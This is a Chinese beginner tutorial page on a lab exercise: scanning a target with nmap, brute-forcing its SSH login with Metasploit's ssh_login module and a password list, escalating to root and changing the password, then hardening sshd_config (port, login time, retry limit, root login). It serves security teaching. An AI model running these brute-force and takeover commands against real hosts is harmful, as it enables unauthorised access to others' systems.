news 2026/1/14 12:43:29

网络安全零基础入门必看教程:Kali Linux如何进行SSH渗透与防御(非常详细)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网络安全零基础入门必看教程:Kali Linux如何进行SSH渗透与防御(非常详细)

文章目录

    • 一、实验
      • 1.环境
      • 2.nmap扫描目标主机
      • 3.Kali Linux 进行 SSH 渗透
      • 3.Kali Linux 进行 SSH 防御
    • 二、问题
      • 1.SSH有哪些安全配置
      • 2.MSF 退出报错

一、实验

1.环境

(1)主机

表1 主机

系统版本IP备注
Kali Linux2022.4

192.168.204.154(动态)

Ubuntu8.04192.168.204.143Kali(2022.4)的目标主机

(2)查看Kali Linux (2022.4)系统版本

cat /etc/os-release

(3) 查看Kali Linux (2022.4)系统IP地址

ip addr | grep 154

(4)查看Ubuntu 8.04 系统版本及IP地址

lsb_release -a

ip addr

2.nmap扫描目标主机

(1)扫描⽬标主机所在⽹段所有存活的主机

nmap -sP 192.168.204.0/24

(2)扫描⽬标主机所有开放端⼝对应的服务和软件版本

22端口已开放

nmap -sV 192.168.204.143

3.Kali Linux 进行 SSH 渗透

(1)进入MSF 控制台

msfconsole

(2) 搜索 ssh_login脚本

search ssh_login

(3) 使⽤编号为 0 的脚本

use 0

(4) 设置⽬标主机

set rhosts 192.168.204.143

(4)查看选项

show options

(5)设置用户名与密码本

set username msfadmin

set pass_file zidian.txt

(6)运⾏脚本

run

(7)查看会话

sessions

(8)连接会话

sessions 1

查看用户身份

whoami

查看路径

pwd

提升权限

sudo -i

再次查看用户身份

whoami

更改密码

password root

(9)MobaXterm远程连接

连接

3.Kali Linux 进行 SSH 防御

(1)SSH安全配置(端口)

vim /etc/ssh/sshd_config

修改端口

(2)重启

/etc/init.d/ssh restart

(3)退出之前的MSF

(5)进入MSF 控制台

msfconsole

(6) 搜索 ssh_login脚本

search ssh_login

(6) 使⽤编号为 0 的脚本

use 0

(7) 设置⽬标主机

set rhosts 192.168.204.143

(8)设置用户名与密码本

set username msfadmin

set pass_file zidian.txt

(9)运⾏脚本

失败

run

(10)nmap扫描端口

ssh端口为12345

nmap -sV 192.168.204.143

(11)查看选项

show options

(12) 设置目标端口

set rport 12345

(13)运⾏脚本

run

(14)SSH安全配置(端口)

vim /etc/ssh/sshd_config

修改登录验证时间

(15)重启

/etc/init.d/ssh restart

(16)验证(等待1分钟)

(17)SSH安全配置(容错次数)

vim /etc/ssh/sshd_config

修改容错次数

(18)重启

/etc/init.d/ssh restart

(19)容错2次

二、问题

1.SSH有哪些安全配置

(1)配置

Port 12345 //端口 LoginGraceTime 1m //登录验证耗时 PermitRootLogin no //不允许root远程登录 MaxAuthTries 2 //最大容错次数2 AllowUsers msfadmin@192.168.204.100 //允许指定用户在指定IP上登录

2.MSF 退出报错

(1)报错

[*] You have active sessions open, to exit anyway type "exit -y"

(2)原因分析

有session会话正在运行。

(3)解决方法

exit -y

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/12 6:51:09

DownKyi实战指南:解锁B站视频下载的全新体验

DownKyi实战指南:解锁B站视频下载的全新体验 【免费下载链接】downkyi 哔哩下载姬downkyi,哔哩哔哩网站视频下载工具,支持批量下载,支持8K、HDR、杜比视界,提供工具箱(音视频提取、去水印等)。 …

作者头像 李华
网站建设 2025/12/30 19:24:58

视频融合平台EasyCVR核心能力解析与多场景应用实践

在物联网和智慧城市高速发展的今天,海量、异构的视频监控设备如何实现统一管理、智能分析与高效应用,成为行业的核心痛点。本文将深入解析EasyCVR视频融合平台的强大功能,探讨其如何通过强大的视频汇聚、转码与分发能力,成为构建上…

作者头像 李华
网站建设 2026/1/14 11:10:42

Windows右键菜单终极优化指南:ContextMenuManager完全掌控手册

Windows右键菜单终极优化指南:ContextMenuManager完全掌控手册 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 你是不是经常被Windows右键菜单的杂乱…

作者头像 李华
网站建设 2025/12/22 15:44:22

XUnity.AutoTranslator:Unity游戏多语言本地化终极指南

XUnity.AutoTranslator:Unity游戏多语言本地化终极指南 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 还在为外语游戏中的生涩对话而困扰?想要轻松体验全球热门游戏却苦于语言障碍…

作者头像 李华
网站建设 2026/1/14 12:12:28

终极百度网盘提速方案:三步实现下载速度300%提升

终极百度网盘提速方案:三步实现下载速度300%提升 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘那令人崩溃的下载速度而烦恼吗?每次看到…

作者头像 李华
网站建设 2025/12/22 15:43:52

NVIDIA Profile Inspector深度解析:解锁显卡隐藏性能的7个关键步骤

NVIDIA Profile Inspector深度解析:解锁显卡隐藏性能的7个关键步骤 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector NVIDIA Profile Inspector作为一款强大的显卡优化工具,能够深…

作者头像 李华